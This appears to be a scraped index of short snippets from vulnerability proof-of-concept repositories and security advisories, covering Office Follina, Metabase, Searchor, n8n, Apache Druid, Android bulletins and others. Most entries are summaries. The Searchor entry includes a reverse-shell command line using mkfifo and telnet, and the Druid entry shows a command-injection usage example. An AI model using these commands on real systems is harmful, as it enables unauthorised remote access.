PoC-CVE-2022-30190

POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina Info : New Microsoft Office zero-day used in attacks to execute PowerShell Summary On the 29th of May 2022, the NaoSec team, an independent Cyber Security Research Team, discovered a malicious Office document shared on Virustotal. This...

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646 — Metabase Remote Code Execution RCE Proof-of-Concept Overview This repository documents a Proof-of-Concept PoC security research project analysing CVE-2023-38646 , a critical pre-authentication Remote Code Execution RCE vulnerability affecting vulnerable versions of Metabase. The...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce read: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ how to use First spawn a gitlab instance. Log in, create a group and project with a unique name. Create an access token. Edit these lines in main.go...

cnspec

cnspec Open source, cloud-native security and policy project cnspec assesses your entire infrastructure's security and compliance. It finds vulnerabilities and misconfigurations across public and private cloud environments, Kubernetes clusters, containers, container registries, servers, endpoints...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...

CVE-2024-46538

Thanks tophysicszq, who discovered this vulnerability. CVE-2024-46538 ★ CVE-2024-46538 PfSense Stored XSS lead to Arbitrary Code Execution PoC ★ Description CVE-2024-46538 : PfSense Stored XSS Vulnerability description: A cross-site scripting XSS vulnerability in pfsense v2.5.2 allows attackers t...

CVE-2025-55182

React2Shell CVE-2025-55182 ⚠️ Warning: This project is for educational and security research purposes only. 1. clone the repository git clone https://github.com/mivmi/CVE-2025-55182.git cd CVE-2025-55182 2. start the docker containers docker-compose up -d 3. open in your browser...

n8n_CVE-2025-68613_exploit_payloads

n8nCVE-2025-68613exploitpayloads Expression injection payloads for n8n CVE-2025-68613 RCE LEGAL DISCLAIMER: This content is for educational purposes only. Author bears no responsibility for damages, misuse, or unauthorized exploitation of CVE-2025-68613. Test solely in isolated lab environments o...

CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 by j2ekim Usage python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Vulnerability Reproduction Article https://www.adminxe.com/2109.html Disclaimer Any direct or indirect consequences an...

cve-2025-29384-poc

CVE-2025-29384 Proof-of-Concept Exploit Overview This repository contains an advanced proof-of-concept PoC exploit for CVE-2025-29384 , a critical stack-based buffer overflow vulnerability discovered in the Tenda AC9 router running firmware version V15.03.05.14multi. This vulnerability allows...

PT-2026-135037

A vulnerability was identified in beecue FastBee up to 2.1.0. Affected by this issue is some unknown functionality of the file /iot/script of the component Groovy Script Executor. The manipulation leads to code injection. The attack is possible to be carried out remotely. The identifier of the...

CVE-2026-120274: beecue FastBee: A vulnerability was identified in beecue FastBee up to 2.1.0

A vulnerability was identified in beecue FastBee up to 2.1.0. Affected by this issue is some unknown functionality of the file /iot/script of the component Groovy Script Executor. The manipulation leads to code injection. The attack is possible to be carried out remotely. The identifier of the...

ASB-A-508585261

In multiple functions of MmiUtils.java, there is a possible risk of USSD/MMI code execution due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation...

PUB-A-477593252

In multiple functions of cnTai.cpp, there is a possible way to trigger an out of bounds write due to memory corruption. This could lead to remote proximal/adjacent code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

PT-2026-134911

Name of the Vulnerable Software and Affected Versions prefab-ui versions 0.14.0 through 0.20.2 Description The Generative UI sandbox runs caller-supplied Python code within Pyodide inside a Deno subprocess. The launcher starts Deno with unrestricted --allow-read, --allow-write, and --allow-net...

CVE-2026-120338: PrefectHQ prefab-ui: Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, Python compiled to WebAssembly, in a Deno…

Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including LLM-written UI. From prefab-ui 0.14.0 through 0.20.2 the launcher starts Deno with unrestricted...

PUB-A-503550453

In mfccorenalqgetdecmetadataseinal of mfccorenalq.c, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

PUB-A-508703157

In AudioSession::SendInternalEvent of AudioSession.cpp, there is a possible Double Free due to a logic error in the code. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

ASB-A-503543341

In multiple locations, there is a possible memory safety issue due to a use-after-free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

ASB-A-503553199

In decrypt of CryptoHalHidl.cpp, there is a possible use-after-free due to a race condition. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...